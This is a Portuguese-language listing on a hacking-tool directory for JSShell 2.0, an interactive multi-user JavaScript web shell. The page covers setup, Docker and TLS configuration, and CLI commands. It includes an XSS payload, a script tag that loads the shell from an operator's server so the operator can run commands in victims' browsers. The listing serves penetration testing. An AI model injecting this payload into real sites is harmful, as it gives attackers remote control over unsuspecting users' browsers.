Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
JSShell — Um shell web JS interativo e multiusuário | Kitploit
Ferramentas/GitHubGitHub/den1al/jsshell
ExploraçãoExploração de Aplicações WebTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubden1al/jsshell

JSShell

Um shell web JS interativo e multiusuário

Ver Repositório
36470há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

JSShell 2.0

made-with-python Generic badge Generic badge

Um shell JavaScript interativo multi-usuário baseado na web. Foi inicialmente criado para depurar navegadores esotéricos remotos durante experimentos e pesquisas. Esta ferramenta pode ser facilmente anexada a um payload XSS (Cross Site Scripting) para alcançar execução remota de código no navegador (semelhante ao framework BeeF).

A versão 2.0 foi criada do zero, introduzindo novos recursos interessantes, estabilidade e facilidade de manutenção.

Versão: 2.0

Autor

Daniel Abeles.

Vídeo do Shell

asciicast

Funcionalidades

  • Suporte a múltiplos clientes
  • Suporte a objetos DOM cíclicos
  • Scripts de pré-voo
  • Fila de Comandos e Contexto
  • Extensível com Plugins
  • Injetável via tags <script>
  • Despejando saída de comandos em arquivo
  • Paginação do Shell
  • Suporte a HTTPS! Generic badge

Instalação e Configuração

Arquivo de Configuração

No diretório resources, atualize o arquivo config.json com a configuração desejada:

  • Host do banco de dados - se estiver usando o método de implantação docker, escolha o host do banco como db (que é o nome do host interno).
  • URL de retorno - a URL que as requisições seguirão. O arquivo shell.js faz algumas chamadas AJAX para registrar e consultar novos comandos. Geralmente será http[s]://{SEU_IP_DO_SERVIDOR}:{PORTA}.
  • Script de inicialização - um script que é executado automaticamente quando o cliente CLI do JSShell é iniciado.
  • Domínio - se desejar gerar certificados TLS, este é o nome de domínio que o servidor usará.
  • Também é possível apontar para um banco de dados remoto, se desejado.

Let's Encrypt

Agora o JSShell suporta TLS, o que significa que você pode gerar certificados TLS e fornecê-los ao servidor web. O servidor web inferirá o nome de domínio do arquivo config.json. Para criar o certificado, use o script create_cert.py na pasta scripts:

root@kitploit:~
$ cd scripts
$ python create_cert.py --domain <SEU_DOMÍNIO> --email <SEU_EMAIL>
o campo de email é opcional.

Observe que o servidor web deve estar parado para que o script funcione corretamente. Neste ponto, geramos nossos certificados com sucesso! As únicas modificações que precisamos fazer são:

  • No arquivo config.json, altere o esquema do campo URL para https.
  • No arquivo docker-compose.yml, altere a porta exposta do contêiner web para 443.

Docker

Esta nova versão suporta a instalação e execução do JSShell via docker e docker-compose. Agora, para instalar e executar todo o framework JSShell, basta executar:

root@kitploit:~
$ ./scripts/start_docker_shell.sh

Isso irá:

  • Iniciar e criar o banco de dados em segundo plano
  • Iniciar o servidor da API web que lida com conexões recebidas em segundo plano
  • Iniciar uma nova instância do contêiner de interface de linha de comando do JSShell

Método Regular

Se você ainda quiser usar o método antiquado de instalação, certifique-se de ter um banco de dados MongoDB em execução e atualize o arquivo config.json localizado no diretório resources.

Recomendo usar um ambiente virtual com pyenv:

root@kitploit:~
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv

Ou usando virtualenv:

root@kitploit:~
$ virtualenv -p python3.6 venv
$ source venv/bin/activate

Em seguida, instale os requisitos:

root@kitploit:~
$ pip install -r requirements.txt

Executando

Se você usou o método docker, não há necessidade de executar o procedimento a seguir.

Servidor Web

Caso contrário, após configurar o banco de dados, precisamos iniciar o servidor da API web. Para isso, execute:

root@kitploit:~
$ python manage.py web

Isso criará e executará um servidor web que escuta conexões recebidas e serve nosso código JSShell.

Shell

Agora, para iniciar o CLI do JSShell, execute o mesmo script, mas agora com a flag shell:

root@kitploit:~
$ python manage.py shell

Uso

Após a configuração e execução dos componentes necessários, digite o comando help para ver os comandos disponíveis:

root@kitploit:~
     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
     ║╚═╗└─┐├─┤├┤ │  │  
    ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
        por @Daniel_Abeles
    
>> help

Comandos documentados (digite help <tópico>):

Comandos Gerais
--------------------------------------------------------------------------------
edit                Editar um arquivo em um editor de texto
help                Listar comandos disponíveis ou fornecer ajuda detalhada para um comando específico
history             Visualizar, executar, editar, salvar ou limpar comandos inseridos anteriormente
ipy                 Entrar em um shell IPython interativo
py                  Invocar comando ou shell Python
quit                Sair desta aplicação

Operações Baseadas no Shell
--------------------------------------------------------------------------------
back                Desmarcar o cliente atualmente selecionado
clients             Listar e controlar os clientes que se registraram em nosso sistema
commands            Mostrar os comandos executados no cliente selecionado
dump                Despejar um comando no disco
execute             Executar comandos no cliente selecionado
select              Selecionar um cliente como cliente atual

>> 

Fluxo

O JSShell suporta 2 métodos de operação:

  1. Shell Injetável (semelhante ao framework BeeF)
  2. Shell Hospedado (para depuração)

Shell Injetável

Semelhante a outros frameworks de controle XSS (como BeeF), o JSShell é capaz de gerenciar explorações XSS bem-sucedidas. Por exemplo, se você puder injetar uma tag script, injete o seguinte recurso em seu payload, e um novo cliente aparecerá no seu console:

<script src="http[s]://{SEU_IP_DO_SERVIDOR}:{PORTA}/content/js"></script>

Shell Hospedado

Se você deseja depurar navegadores exóticos e esotéricos, basta navegar até http[s]://{SEU_IP_DO_SERVIDOR}:{PORTA}/ e um novo cliente aparecerá em seu cliente CLI do JSShell. Agora ele pode ser depurado através do nosso console JSShell.

Créditos

Canop pelo JSON.prune

use por sua própria conta e risco.
Baixar ferramenta